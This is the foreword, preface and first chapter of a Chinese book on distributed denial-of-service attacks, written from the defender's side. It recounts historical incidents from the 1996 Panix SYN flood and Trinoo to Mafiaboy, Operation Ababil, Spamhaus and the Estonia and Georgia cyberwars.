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随着科学技术的迅猛发展和深度应用，网络空间中的变革正在不断改变和影响着人们的生活方式。然而，一次次惊喜的背后，却隐藏着诸多隐患。无论是国家安全还是集体利益或个人利益，在网络空间中都会随时面临挑战。2013年8月25日，我国顶级域名CN的解析服务器遭到攻击，造成大量以cn为后缀的网站无法访问，经济损失和社会影响难以估计。而导致这一严重后果的，就是分布式拒绝服务（Distributed Denial of Service，DDoS）攻击。

DDoS是一种以破坏为目的的攻击，十几年来不断发展变化，成为不同组织和个人的工具，用于网络中的勒索、报复，甚至战争。从荒唐的“黑手党男孩”到神秘的“匿名人”组织，从雅虎、花旗这样的商业巨头到美国、俄罗斯、朝鲜与他国的争端，这本书揭示了DDoS的发展历史。

了解仅仅是开始，感兴趣的读者会有一系列疑问。谁在进行攻击？他们为什么发起攻击？使用了什么方法？如果我受到攻击，该怎样保护自己？这本书从多个角度对DDoS进行了解读。传统的DDoS大多来自僵尸网络，而近年来高性能服务器、移动设备甚至志愿者都成为了可能的来源；攻击者不是疯子，每次攻击都会有明确的目的，以及对成本和收益的考虑；DDoS的原理看似繁杂，却可以归为三类，实用的工具则数不胜数；面对这种攻击，绝对的防御并不存在，综合五个环节的治理和缓解才是应对之道。最后，这本书在附录中还介绍了国外知名的黑客组织和个人，以及常见的几个误区。

本书的作者之一是我的学生。想不到在我心目中的孩子，转眼间有了自己的想法和见解，甚至都开始写书了。这本书称不上尽善尽美，很多观点也有可商榷处。但让我感到一丝欣慰的是，国内安全领域的一代新人正在成长。在我们的政府部门、学术机构和安全企业，有这么多当年熟悉的面孔，他们有了自己的思想和声音，不再盲目跟随国外的脚步。我能够感到，中国成为一个信息安全强国的日子，也许就在不远的将来。

冯登国

中国科学院软件研究所

2014年1月25日


前言

现实与网络中的战争

1939年9月1日凌晨，第二次世界大战爆发。德军14个师兵分三路，从北、南、西同时入侵波兰，波军6个集团军80万人组成的防线瞬间瓦解。由于兵力分散和移动迟缓，波军很快被各个击破，到9月21日“布楚拉战役”结束，主力已全军覆没。这次战争的时间之短，出乎所有人的意料，它将一种新的战争模式呈现在人们眼前：“闪电战”。

人们在惊叹“闪电战”速度的同时，往往忽略了另一个因素：兵力对比。当时的德军的确强大，但波军也非弱旅，在之前的“波苏战争”中和苏联互有胜负。此外，德军的突击部队其实只有14个师，却能够轻易突破防线，还在之后的战斗中屡战屡胜，作用之大让当时的军事学家跌破眼镜。

2012年7月，一部由美国制作的电影预告片被传到互联网上，由于包含对伊斯兰教的侮辱，引起了穆斯林的强烈抗议。9月，一个自称“伊兹丁·哈桑网络战士”的黑客组织，在网上声称对美国金融业展开报复性战争。短短几周之中，美国银行、花旗集团、富国银行、美国合众银行、PNC金融服务集团等金融巨头的网上服务因遭受攻击而中断，一个名字反复出现在报纸头条：“分布式拒绝服务攻击”。

一个名不见经传的黑客组织，面对这些金融巨头，为什么能一再获得胜利？成本高昂的防护系统，精英荟萃的安全团队，为什么不堪一击？到底什么是“分布式拒绝服务攻击”？

什么是分布式拒绝服务攻击

分布式拒绝服务攻击是从多个来源，彼此协同进行的拒绝服务攻击。这个名称包含了两层含义：首先，它是一种“拒绝服务”攻击；其次，它是一种“分布式”攻击。

那么，什么是“拒绝服务”（Denial of Service，DoS）呢？可以这样认为，凡是导致合法用户不能访问服务的行为，就是“拒绝服务”攻击。最典型的例子是造成一个公开的网站无法访问。攻击者使用的方法通常很简单，就是不断提出服务请求，使服务提供方疲于应付，直到合法用户的请求来不及得到处理。

但是，大型企业或组织往往具有较强的服务提供能力，足以处理单个攻击者发起的所有请求。于是，攻击者会组织很多协作的同伴（或计算机），从不同的位置同时提出服务请求，直到服务无法被访问。这就是“分布式”。现实中，攻击者往往没有那么多同伴，所以，他们通常利用所谓的“僵尸网络”来控制大量计算机进行攻击。

然而，问题依然存在。为什么这种攻击具有如此威力？它和“闪电战”又有什么关系呢？笔者认为，这两者能够取得辉煌战果的根本原理是相同的：持续制造局部优势。

运用“闪电战”的德军，能够依靠机械化部队的速度集中兵力，每场战斗其实都是以强胜弱。波军则分散在漫长的国境上和广阔领土中，只能被各个击破，如果个别阵地存在顽强抵抗，德军就会绕过去，在另一个局部获得胜利。当失去友军支撑后，原本坚守的波军阵地只能不战而溃。所以，德军可以取得远超军力对比的战果。

网络世界中的一些特性有所变化。首先，IT系统的依赖性更强，需要大量环境条件和其他应用来支撑，也就更容易存在弱点；其次，比起物理世界，攻击者可以提前观察受害目标，所以更容易发现弱点；再次，攻击者更方便组织攻击力量，完全让世界各地的被控制主机同时发起攻击。而“分布式拒绝服务”就是利用了这些特性。所以，即使拥有的资源、技术和人力远逊于专业团队，一个小型黑客组织也依然能够不断打垮金融巨头。原因无他，只因制造局部优势。

正如本杰明·萨瑟兰在他的《技术改变战争》中所述：“被视为‘非对称’的武器能够给予处于技术劣势的一方某种优势，让他们有机会去袭击装备更加先进的敌人。”

本书读者对象

DDoS是一种破坏力很强的网络攻击方法，而且在可以预见的未来中，还没有任何手段能够完全防御这种攻击。本书希望从受攻击者的角度，来讨论以下几个问题：

1）谁在攻击我？

2）攻击我的目的是什么？

3）攻击者怎样进行攻击？

4）我该如何保护自己？

读者可能依然不了解自己是否有必要读这本书，那么可以试着回答以下问题，如果其中一个回答“是”，本书就可能会给你带来某种帮助。

1）我是否需要为公司（组织）的网络安全负责？

2）我是否需要为他人介绍一些基本的网络安全知识？

3）我的客户是否关心网络安全？

4）了解网络安全对我未来的职业发展是否有益？

5）我管理的业务是否受安全基础设施的影响？

本书内容简介

第1章讲述了DDoS的发展历史。第2章～第4章是本书的重点，从来源、方法和工具三个角度介绍DDoS攻击本身。第5章讨论攻击者的成本和收益问题。第6章分析在不同环节对DDoS的治理和缓解方法。第7章是对未来的一些探讨。

此外，本书在附录中提供了一些很有价值的资料。附录A是DDoS攻击方法、工具和相关事件的汇总；附录B解读了9个DDoS常见误区；附录C介绍了一些国外知名黑客组织和个人；附录D对NTP和DNS放大攻击做了更详细的解读；附录E提供了《2013年绿盟科技DDoS威胁报告》，用真实数据说明DDoS攻击的现状。


第1章　DDoS攻击的历史

“一切对存在的追问都以历史性为特征。”


——海德格尔


20世纪的最后几年中，分布式拒绝服务（Distributed Denial of Service，DDoS）凭空出世，随后屡次在网络中掀起轩然大波，成为世界关注的焦点，即使对信息安全并不了解的人也耳熟能详。本章从历史的角度，为读者回顾这一过程。

关于“人类天生就具有攻击性”的命题是否正确，尚没有一个定论，也远远超出了本书的范畴。但是就历史来看，世界上的战争几乎从未停息过。而每当一种新技术诞生，就可能会被考虑是否可以用作武器。在物理学、化学、生物学、核物理学等领域，这样的例子不胜枚举。可被直接或间接用于实施攻击行为的技术，其发展和应用的历程存在一定的规律，一般而言，可以分为四个阶段。

1）探索期：
 新技术出现不久，人们不断摸索其使用方法，个人的兴趣和好奇心占主导地位。例如，火药出现后被用于制作爆竹。

2）工具化：
 技术的应用方式开始定型，成为实用性工具，对成本和收效的考虑占主导地位。例如，猎枪的出现以及火药在爆破领域的应用。

3）武器化：
 技术被大规模用于（或准备用于）战争中，政治势力会对该类武器的生产、拥有和使用进行控制。例如，大部分国家对现代枪械的管理方式。

4）普及化：
 技术的完善大幅降低了生产、使用和维护的成本，在法律允许的条件下，个人拥有也变得容易。例如，美国允许公民拥有枪支，而拥有的成本很低，3D打印的发展更是让技术门槛几乎消失。

不同技术的发展有各自的特点，其历程也会不同。例如核裂变技术，在经过了探索期后直接进入武器化，作为原子弹在战争中使用。之后才进入民用领域，出现了核电站。而随着原理的普及和成本下降，一位美国的14岁少年甚至自行制造出了核聚变反应堆，并在TED上发表演讲。 [1]
 不同的阶段之间也会存在重叠，同一技术很可能在军事领域和民用领域平行发展。

分布式拒绝服务攻击的发展符合这四个阶段。在探索期，发起攻击的“黑客”大多是一些技术爱好者，单纯为了兴趣或炫耀而进行了尝试，时间和目标的选择都很随意。随着工具化的发展，这项技术被用于有组织的行动，包括勒索、竞争或报复。为了使收益或效果最大化，他们会精确地选择目标和时机。当国家级政治势力意识到其价值时，分布式拒绝服务攻击很快被武器化，并用在网络战中。最后，随着使用越来越方便且易于获取，普及化也促进了黑客行动主义的发展。事件的爆发往往和群体的情绪有关，容易被外部事件触发，打击的范围开始扩大。与枪支和火药类似，分布式拒绝服务攻击也是平行发展的。表1-1列出了不同阶段DDoS攻击事件的特点。

表1-1　不同阶段DDoS攻击事件的特点
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图1-1列出了在分布式拒绝服务攻击的发展历史中发生的主要攻击事件。本章的后续小节会分别详细介绍。
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图1-1　DDoS的历史


1.1　探索期：个人黑客的攻击

早期的“黑客”都是一些技术爱好者。他们年轻、有激情、勇于探索，而且熟悉技术的最新进展，具有敏锐的洞察力。所以，他们能够找到当时系统中存在的漏洞和缺陷，并利用这些漏洞实现自己的目的。

“黑客”、“骇客”和“极客”的区别

“黑客”源自英文单词hacker，原本在美国的电脑界是带有褒义的，特指那些擅长计算机技术，具有强烈的好奇心和动手能力，并且崇尚自由的人。早期的“黑客”都是高级程序员，他们发现系统中的漏洞，编写入侵工具，并实践它们。后来，一些虽不编写程序但擅长使用工具进行“实战”的人，也被纳入了“黑客”的范畴。他们善于通过蛛丝马迹寻找系统的弱点，选择合适的工具，来实现入侵的过程。

“骇客”是Cracker的音译，就是“破解者”的意思，本意是指那些专门破解商业软件，绕过付费机制，从而免费使用的人。很多“骇客”会将破解后的软件发布到互联网上供大众下载使用。后来，这一概念和“黑客”的概念被混淆了，两者的区别越来越模糊。

“极客”来自于美国俚语Geek的音译，最初指性格古怪的人。很长时间，Geek在西方文化里一直偏向褒义。随着网络社交的普及，人们对“极客”的定义也逐渐发生了变化。现在，人们一般认为，花费大量业余时间在网络中，并且偏爱新技术产品的人群，就是“极客”。他们不一定是电脑高手，但对电脑和网络有很强的依赖性，喜欢尝试高科技产品。

但同时，这些“黑客”在技术之外的领域并非天才。他们想到什么就做什么，随心所欲地发起攻击，而不是效力于特定组织。早期的分布式拒绝服务攻击往往缺乏明确的目的性，起因可能五花八门。也许是某人发现了一种有趣的攻击手法，只是想验证一下该攻击手法；也许是把攻击行为作为一种挑战，用以验证自己的天才能力；也许纯粹是为了向朋友炫耀。迈克尔·迪蒙·卡尔斯（“黑手党男孩”）甚至声称自己的目的是在网络世界中建立所谓“统治”。

所以，这些行为从攻击者的角度来看，基本不会带来经济上的收益。而从受害者的角度来看，往往波及的范围很大，具有轰动效果，但对具体的个人或组织，损失并非难以承受。

最早的拒绝服务攻击发生在1996年，受害者是当时纽约最大的互联网服务提供商Panix。3年后，发生了针对明尼苏达大学的攻击，攻击者使用Trinoo构建了真正的分布式控制网络。在早期的“黑客”行动中，最具轰动效应的就是“黑手党男孩”对雅虎、亚马逊等著名网站发动的攻击，这是早期“黑客”中暴露真实身份的一个。最著名可能也是最具威胁的一次，是2002年针对13台根域名服务器的攻击。虽然持续时间很短，也没有导致所有服务器完全瘫痪，但是只要设想一下行动成功的后果，就会让人不寒而栗。本节下面的内容就是对这几次事件的详细介绍。


1.1.1　第一次拒绝服务攻击

第一次拒绝服务攻击发生在1996年9月6日下午5:30。Panix，这个纽约市历史最悠久、规模最大的互联网服务提供商成为了攻击的受害者。公司的邮件、新闻、Web和域名服务器等同时遭受攻击。如图1-2所示，据《时代杂志》 [2]
 （Time Magazine）报道，至少6000名用户因此而无法收取邮件。
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图1-2　Panix攻击

攻击者采用的方法非常简单：不断向服务器发送连接请求（TCP SYN请求），速度高达每秒150次。服务器忙于应对这些请求，从而无法回应正常的用户。这种攻击方式后来被称为“SYN FLOOD攻击”，是拒绝服务攻击的一种。即使到现在，SYN FLOOD攻击也经常被使用。此外，攻击者还采用了随机伪造源地址的方式。一方面，这使得攻击来源难以追踪；另一方面，随机的源地址也使得过滤和阻断攻击变得非常困难。 [3]


完全消除DDoS攻击是极为困难的一件事。尤其当用户正常的访问量较大时，很难立刻将其与恶意伪造的访问区分开来。幸运的是，削弱这种攻击造成的危害是可能实现的。我们一般称其为“缓解技术”。Panix被攻击后，计算机紧急响应小组（CERT）做出了快速响应。9月19日发布了TCP SYN Flooding and IP Spoofing Attacks，提出了缓解SYN FLOOD攻击和IP欺骗攻击的建议。 [4]



1.1.2　分布式攻击网络：Trinoo

1999年8月17日，美国明尼苏达大学的一台服务器遭到攻击，造成了连续两天的服务中止。接下来的几天中，又有至少16台主机遭到同样的攻击，其中有一些并不在美国境内。

这应该是第一次真正意义上的DDoS攻击，之前针对Panix的攻击并没有表现出“分布式”特性，很可能是从单一主机发起的。而这一次，攻击来自至少227台主机，它们的所有者并不知道，这些设备居然成为了黑客手中的工具。攻击数据包都是UDP格式的，并未隐藏源地址[3]
 。所以，明尼苏达大学追踪这些IP地址，并联系了这些攻击主机的真正所有者，以停止攻击进程。但这一方法并未奏效，因为攻击者采用了一个简单的对策：加入更多的被控制主机进行攻击。相关调查人员在一台主机中发现了Trinoo的源代码，同时发现了一个包含888个IP地址的文件，这很可能就是当时Trinoo网络的规模。在另一个名为“216”的目录中，还发现了包含10549个地址的文件，据估计是存在漏洞的潜在控制目标。[5]


Trinoo是第一个使用控制网络进行攻击的DDoS工具。攻击者首先入侵并控制一些主机，在其上安装扫描工具、攻击工具以及Trinoo控制程序，我们一般称其为控制主机（Master）。接着，攻击者会通过控制主机入侵并控制更多电脑，安装受控和攻击软件，我们称其为攻击主机（Slave）。发动攻击时，只需对控制主机发送指令，由它们自动管理攻击主机发送攻击数据包。在本次攻击中，被控制主机大多数是Solaris 2.x系统的。由于在远程调用服务（RPC）中存在一个缓冲区溢出漏洞而被恶意代码控制。[6]



1.1.3　黑手党男孩

2000年2月7日，门户和搜索网站雅虎（Yahoo）遭到攻击，被迫中断服务一个小时。紧接着，Buy.com也遭到类似的攻击。之后的一周内，eBay、CNN、Amazon和Dell.com接连被攻陷。

4月18日，美国广播公司（ABC）新闻报告，一名15岁的加拿大男孩被警方逮捕，怀疑与之前的黑客攻击事件有关。这名男孩名叫迈克尔·迪蒙·卡尔斯（Michael Demon Calce），是加拿大魁北克省的一名普通高中生，在互联网上，其化名是“黑手党男孩”（Mafiaboy）。正是他开展了针对Yahoo的攻击行动，并将这次行动命名为“RIVOLTA”（意大利语，意为“暴动”）。按照Calce本人当时的说法，这是为了让自己在网络世界中建立所谓“统治”。接着，他在一周内接连攻击了Buy.com、eBay、CNN、Amazon和Dell.com。不过几年后，在2011年的一次采访中，他又声称，当时只是下载了网上的安全工具，在不经意间输入了一些知名网站。后来，当他从新闻中得知消息时，才开始明白到底发生了什么。 [7]


攻击发生后，卡尔斯就开始在IRC聊天室中宣称对攻击负责，这让美国联邦调查局和加拿大皇家骑警产生了怀疑。不久，他又声称Dell.com被攻陷，而此时这一消息尚未被任何媒体报道。于是，卡尔斯成了警察眼中的头号嫌疑人。审问过程中，卡尔斯最终不得不承认了大部分指控。他的律师声称，孩子只是在进行一次未经监督的测试，目的是设计一种防火墙的改进方法。最终，蒙特利尔青年法院在2001年9月12日判处他18个月的“开放式监禁”（Open Custody），缓期一年执行，限制使用互联网，以及一笔较小的罚金。根据Yankee Group的一位高级分析师估计，这次攻击造成了共计12亿美元的损失。

2012年5月，卡尔斯的故事被写成了一本书，名叫《黑手党男孩：一个年轻人的黑客肖像》（如图1-3所示）。
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图1-3　《黑手党男孩：一个年轻人的黑客肖像》


1.1.4　根域名服务器的危机

域名服务（Domain Name Service，DNS）是一种互联网地址解析服务。它将我们熟悉的域名（例如www.google.com）映射成为IP地址（例如74.125.128.99）。域名服务采用类似目录树的层次结构，当一台域名服务器遇到未知的域名时，就会向上级服务器询问。而这棵树的顶端，就是13台根域名服务器。根域名服务器是互联网的关键基础部件，在理论上，针对它们的攻击可以影响全球的域名系统。1997年3月，因为技术问题7台根服务器就曾停止运行，但这并未引起人们足够的重视。

2002年10月21日，美国东部时间下午4:45开始，这13台根域名服务器遭受到有史以来最为严重、规模最为庞大的一次网络袭击，攻击持续到6:00。此次事件正是一次分布式拒绝服务攻击，超过常规数量30～40倍的数据猛烈地向这些服务器袭来，目标是全部的13台服务器，持续大约1个小时。造成的后果是9台服务器不能正常运行，其中7台丧失了对网络通信的处理能力，另外2台也紧随其后陷于瘫痪。

对每个根服务器的攻击流量大约为50～100Mbit/s（兆比特每秒），100～200Kpps（千数据包每秒）。总流量为900Mbit/s（兆比特每秒），1.8Mpps（千数据包每秒）。发送的数据包包括ICMP、TCP SYN和UDP。攻击的源地址是随机产生的，但基本都位于当时路由表中存在的网段内。 [8]


根据网络流量报告（The Internet Traffic Report），当天全球的流量指数和数据包丢失率如图1-4所示。 [9]
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图1-4　骨干网流量指数和丢包率

由于攻击不是在短时间内便告结束，而且攻击方式相对简单，因此易于采取相应措施，否则，全球互联网将会有相当一部分彻底中断。

之后，随着技术的发展，根服务器都采用了Anycast和负载均衡技术进行防御。现在，影响其运行已经远比当时困难。


1.2　工具化：有组织攻击

从用户增长的角度来看，互联网的早期设计就像是交通规划，诸多未曾考虑的问题以超乎想象的速度爆发出来。于是，互联网成了一个难以监督而易于藏匿的世界，这里的犯罪成本和风险远比现实世界来得低。

在经过了早期无序的攻击时期后，一个问题突然闪进人们的脑海中：是否可以用如此强有力的工具牟利？

较早利用这一工具的是勒索组织，他们有的使用已有攻击工具，有的租用僵尸网络，有的干脆自己针对性地开发工具。猎物往往是一些通过互联网盈利的企业，例如在线交易市场或博彩网站。这些勒索组织会先对猎物进行短期的示威性攻击，然后发送勒索信，并对其进行威胁：如果不支付勒索金，就在业务最繁忙时再次攻击。很多中小企业会屈从，并秘而不宣。这是因为追查网络犯罪者非常困难，即使警方介入也难以保证成功，而犯罪者一旦逃脱，就可能实施猛烈的报复。另一方面，购买专业的缓解方案显得较为昂贵，甚至会超过支付的勒索金。但是，依然有抗争成功的例子，本节介绍的在线市场ClickBank以及南非世界杯期间经营的博彩网站最终成功抵抗了攻击者。

第二种情况是打击竞争者，包括商业和政治上的竞争对手。真正的获利者并不出面，他们会雇用犯罪组织，在重要的时间点攻击对手，造成对方声誉损失或阻止对方的行动。这类攻击很难得到直接的证据，但行为模式非常清晰。加拿大政党选举中就曾遇到过此类攻击。

第三种情况最为极端，它的目的是报复。2012年，一个黑客组织认为YouTube的某段视频是对伊斯兰教的侮辱，于是宣布对美国实施报复行动，直接对象是美国的各大银行。这次行动被称为“燕子行动”，持续了一年以上，数十家银行遭到打击，造成的损失难以估计。另一次著名的报复行动是Spamhaus事件，它是一个反对垃圾邮件的组织。该组织遭到攻击的原因被认为是它指出了垃圾邮件发送者。这次事件中攻击流量达到了300Git/s，到2013年为止，是史上最大规模的分布式拒绝服务攻击。

黑客不再是有组织攻击的主角，他们成了操纵者手中的武器。这类攻击的特点是对目标和时间点的选择非常精确，利益最大化是行为的必然准则。


1.2.1　在线市场面临的勒索

ClickBank是一家在线的数字信息产品市场，为数字内容创作方和营销方之间建立联系。SpamCop中是一个反垃圾邮件组织，它追踪批量发送的垃圾邮件，发现发送者的IP地址，并建立“SpamCop Blacklist”，提供给希望免受垃圾邮件骚扰的用户。[10]


2003年6月21日，大量请求淹没了两家公司的服务器，使得正常用户无法使用服务。ClickBank的有关负责人声称，每台服务器每秒钟会接收到数以千计的http请求，同时日志文件以每秒1MB的速度增长。有消息称，3周前，另外一些不愿公开名称的公司和政府机构也遭到了同样的攻击。攻击者要求ClickBank和SpamCop支付勒索金，否则不会停止攻击。但两家公司并未屈服，而是与FBI合作。6月25日，他们宣布，在与FBI紧密合作后，终于发现了DDoS攻击的肇事者。[11]



1.2.2　世界杯博彩网站敲诈案
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图1-5　2010年南非世界杯

2011年4月，德国杜塞尔多夫的法庭对一名网络罪犯进行了宣判。该网络罪犯在2010年南非世界杯（图1-5）期间，对在线博彩网站进行了勒索。罪犯是一名法兰克福人，他成功地勒索了三家网站，并试图勒索另外三家，所使用的武器就是DDoS攻击。根据德国媒体报道，勒索者用每天65美元的价格租用僵尸网络，然后威胁这些赌博网站，如果不给他支付2500欧元，就会在7月世界杯期间使网站无法访问。当三家网站拒绝支付时，他将勒索金降到了1000欧元。据网站经营者估计，网站发生故障期间，他们的大型办事处损失了约25000～40000欧元，小型办事处损失了约5000～6000欧元。

法院最终判该男子有期徒刑2年零10个月，并责令赔偿受影响的企业35万欧元。 [12]
 德国对计算机阴谋破坏行为的最高惩罚是入狱10年。大型体育赛事期间，对博彩网站进行敲诈的案件已经不是第一次发生。2006年，一个俄罗斯黑帮就曾企图对英国博彩公司敲诈400万美元，结果获罪入狱。


1.2.3　操纵政党选举的攻击

2012年3月24日，本该是加拿大民主新党（Canada’s New Democratic Party）的选举日，选民会进行在线投票。令人意外的是，选举却发生了延时。Scytl公司为加拿大民主新党提供了一套先进的选举服务，可以通过电子和邮寄方式实现投票。第一轮投票于3月23日下午5点开始，24日上午9点正常结束。第二轮投票在24日上午11点开始后，就开始出现投票延时现象，并快速恶化。根据Scytl的入侵检测系统和防火墙的日志显示，这是一次外部攻击。于是，他们启动了标准的缓解流程，包括增加系统的吞吐量和阻止恶意IP地址。这些措施使得服务较慢，但依然可以工作，最终投票过程延长了3个小时。整个攻击过程中，选票系统收到了来自1万余台僵尸主机（又称肉鸡）的超过1000万次异常请求，攻击的时间也和每轮投票时间完全相符。由普华永道进行的独立审计指出，投票结果未被篡改。调查显示，这1万台主机的IP地址主要集中在加拿大，采用的就是分布式拒绝服务攻击。


1.2.4　燕子行动

2012年7月，一个由美国人萨姆·巴西利（Sam Bacile）制作并导演的关于伊斯兰教先知穆罕默德的影片预告片被放到YouTube上，引来了伊斯兰国家的强烈抗议。9月18日，一个号称伊兹丁·哈桑网络战士（Cyber fighters of Izz ad-din Al-Qassam）的黑客组织在pastebin网站上发布公告，声称将美国银行和纽约交易所列为攻击目标，在YouTube上这部亵渎伊斯兰教先知的影片被移除之前，攻击将一直持续。从此，代号为“燕子行动”（Operation Ababil）的一系列针对美国金融机构的DDoS攻击事件拉开了序幕。“燕子行动”这个代号引自《古兰经》里的安拉派燕群去摧毁一队由也门国王派出攻击麦加的象群的故事。

到2013年6月为止，整个行动经历了三个阶段。第一阶段始于2012年9月18日，持续了5个星期；第二阶段从2012年12月10日开始，持续了7个星期；第三阶段从2013年3月5日开始，持续了9个星期，到5月6日停止；第四阶段从2013年7月23日开始，计划持续两个月。

在整个行动中，大多数美国金融机构的在线银行业务都遭到了攻击，其中包括美国银行（Bank of America）、花旗集团（Citigroup）、富国银行（Wells Fargo）、美国合众银行（US Bancorp）、PNC金融服务集团、第一资本（Capital One）、五三银行（Fifth Third Bank）、BB&T银行和汇丰银行（HSBC）。DDoS攻击对上述银行网站业务的连续性和可获得性造成了严重的影响，同时也对银行的声誉造成了不可估量的损失。由于事态的严重性，美国政府部门包括国土安全部（DHS）、联邦调查局（FBI）以及金融监管机构均参与了事件的调查和处理。

攻击者采用了非常丰富的攻击类型，既包括传统的TCP、UDP、ICMP Flood，也包括HTTP Flood、HTTPS Flood和DNS Flood。他们使用的僵尸网络被称为Brobot，是由被植入了itsoknoproblembro的主机构成。与众不同的是，这些主机主要由高性能的服务器组成。[13]



1.2.5　史上最大规模的DDoS

Spamhaus是一家致力于反垃圾邮件的非盈利组织，总部在伦敦和日内瓦。Spamhaus维护了一个巨大的垃圾邮件黑名单，这个黑名单被很多大学/研究机构、互联网提供商、军事机构和商业公司广泛使用。 [14]


从2013年3月18日起，Spamhaus开始遭受DDoS攻击。攻击者通过僵尸网络，利用DNS反射技术进行攻击。根据服务提供商CloudFlare的监控记录，3月18日初始的攻击相对比较温和，攻击流量约为10Gbit/s。从标准时间21:30开始，攻击者将攻击流量猛增到75Gbit/s，如图1-6所示。从3月19日到3月21日，对Spamhaus的攻击流量在30Gbit/s到90Gbit/s之间波动。到3月22日，攻击流量达到了120Gbit/s。在攻击者发现无法有效地击垮Spamhaus之后，他们改变了攻击策略，转而攻击CloudFlare的网络带宽供应商和连接的互联网交换设施。在3月27日达到惊人的300Gbit/s的攻击流量，被认为是互联网史上最大规模的DDoS攻击事件。
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图1-6　3月18日Spamhaus攻击流量

事件的起因可能是Spamhaus将一家荷兰公司Cyberbunker列入了黑名单，之后Spamhaus就开始遭受DDoS攻击。自称是攻击者发言人的斯文·奥拉夫·坎普赫伊斯（Sven Olaf Kamphuis）在网上发表了一则讯息，称“我们很清楚，这是世界上公开进行的最大的DDoS攻击之一”，Cyberbunker是在报复Spamhaus“滥用其影响力”的行为。“从来都没有人授权Spamhaus来决定互联网上该有哪些内容，”坎普赫伊斯说，“他们假装抗击垃圾讯息，借此攫取了这一权力。”然而在4月，坎普赫伊斯又否认策划和实施了这次攻击。 [15]
 4月25日，西班牙警方逮捕了坎普赫伊斯，被捕时，他在一个被改装成移动办公室的小货车里，里面满是线缆和各种网络设备。 [16]



1.3　武器化：网络战

人类历史上出现一种新技术，一出现就可能被思考是否可以用作武器。如果可以，那么一定会被作为武器来使用。在物理、化学、生物、核能等领域，这样的例子数不胜数，分布式拒绝服务攻击也不例外。

已经发生的网络战中，攻击的目的有两种：一种是占领舆论制高点，赢得国际社会支持；另一种是宣扬决心和能力。几次事件都爆发在实力悬殊的国家之间，这决定了战争的方式和目标，所以这并不意味着网络战只有两种形式。


1.3.1　网络战爆发：爱沙尼亚战争

网络战的爆发并不出人意料，军事战略家早就对这种可能性做出了预测。一个国家对基础信息网络的依赖性越强，就越容易遭受网络打击。人们理所当然地将目光的焦点集中在美国这个世界上最大的经济体、信息系统最发达的国家身上。然而，世事总是出人意料，直到战争发生，大家才注意到一个宽带覆盖和互联网日常使用甚至超过美国的东北欧小国——爱沙尼亚。

爱沙尼亚是位于波罗的海沿岸的一个小国（图1-7），二战结束后成为苏联的一部分。为了纪念战争中牺牲的战士，苏联在众多的东欧国家首都修建了巨大的铜像，爱沙尼亚也不例外。而当冷战结束，爱沙尼亚宣布独立以来，这里生活的30万俄罗斯人和100万爱沙尼亚人之间的关系越来越紧张，首都塔林的纪念像成了焦点。2007年4月，爱沙尼亚首相安德鲁斯·安西普提出，将铜像从塔林转移到军人墓地。4月27日（后来被称为“铜像之夜”），激进团体在这里爆发了冲突。事件不仅引发本国骚动，也导致俄罗斯政府和民众的不满。俄罗斯外交部指责爱沙尼亚一手促成紧张局面，并在5月1日以“铁路维修”为由，停止向爱沙尼亚出口石油和煤。
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图1-7　爱沙尼亚地理位置

2007年4月底至5月，爱沙尼亚的重要网络基础设施，包括国会、总统府、总理办公室、央行、主要媒体报社等网站都受到DDoS攻击而关闭。攻击的第一次高峰出现在5月3日，当天莫斯科爆发最激烈的示威抗议。另一次高峰是5月8日和9日，欧洲各国纪念战胜纳粹德国，攻击同步升级，最少六个政府网站被迫下线，其中包括外交和司法部。最后一次攻击高峰是15日，该国最大的几家银行被迫暂停国外连线。

爱沙尼亚国防官员追查攻击时，发现虽然攻击看似来自世界各地的电脑，但原始攻击直接来自俄罗斯，部分域名还以俄罗斯总统普京的名义登记。面对指责，俄罗斯多次否认与事件有关，并抨击爱沙尼亚虚构指控。俄罗斯驻爱沙尼亚大使弗拉基米尔·奇若夫向《卫报》指出：“说攻击来自俄罗斯或俄政府是严重指控，你必须拿出证据来。网络空间无处不在。我个人不支持这种行为，但人们应该先搞清楚袭击者来自哪里，为什么发动攻击。” [17]


爱沙尼亚是北约成员国，根据《北大西洋公约》有关条款规定，针对任何一个成员国的攻击都可视为针对所有成员国的攻击。据此，北约向爱沙尼亚派出了技术顾问，以帮助其消除网络攻击带来的损害。但除此之外，北约并没有进一步采取任何正式的外交或军事行动。


1.3.2　硝烟再起：格鲁吉亚战争

南奥塞梯位于高加索格鲁吉亚北部，曾为苏联时期格鲁吉亚苏维埃社会主义共和国管辖下的一个自治州（图1-8）。1990年，格鲁吉亚准备脱离苏联独立，南奥塞梯议会却宣布成立南奥塞梯共和国，脱离格鲁吉亚成为苏联的一部分。之后的几年冲突不断，直到1994年才进入和平状态。2008年4月，格鲁吉亚传出可能加入北大西洋公约组织的消息，双方冲突也因此一触即发。
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图1-8　南奥塞梯的战争形势图（摘自维基百科）

2008年8月5日，南奥塞梯的新闻网站OSInform和OSRadio遭到黑客攻击，网站标识保持不变，内容却被替换为阿拉尼亚电视（格鲁吉亚政府支持，面向南奥塞梯人的电视台）的内容。南奥塞梯特使Dmitry Medoyev前往莫斯科，声称格鲁吉亚是在企图掩盖有关战争的信息。

2008年8月8日，格鲁吉亚展开全面军事行动进入南奥塞梯，很快控制了该地区三分之二以上的领土，并包围了首府茨欣瓦利。同日，俄罗斯军队进入南奥塞梯地区，9日展开军事行动，很快控制了茨欣瓦利，并在随后几日占领了南奥塞梯以外的格鲁吉亚领土和军事基地。

当俄军对格鲁吉亚的军事行动全面开始后，俄罗斯对格鲁吉亚的网络攻击也全面展开，包括媒体、通信和交通运输系统在内的格鲁吉亚官方网站都瘫痪了，对格鲁吉亚的军事行动造成了较大的影响，直接影响到了格鲁吉亚的战争动员与支援能力。格鲁吉亚总统萨卡什维利的个人主页被人替换（图1-9），黑客在网站上贴出了“精心”挑选的宣称“萨卡什维利和希特勒‘有相似性’”的照片。总统萨卡什维利的网站及一家著名电视台的网站，先是转移到一家美国公司的服务器上，但很快又受到攻击。迫于无奈，格鲁吉亚总统萨卡什维利向波兰总统莱赫·卡钦斯基“求救”，在征得后者同意后，格鲁吉亚政府将外交部的新闻稿张贴在卡钦斯基的网站上。 [18]
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图1-9　格鲁吉亚总统萨卡什维利

格鲁吉亚驻英国大使馆发言人8月11日在接受英国媒体采访时表示，格鲁吉亚的网站全面遭到封锁。

在国际调停下，2008年8月13日，格俄双方就停火原则达成一致。8月18日，俄军开始从南奥塞梯撤军。8月26日，俄罗斯总统梅德韦杰夫签署命令，宣布承认南奥塞梯和阿布哈兹独立。8月28日，格鲁吉亚宣布与俄罗斯断交。9月10日，俄罗斯与南奥塞梯建立正式外交关系。

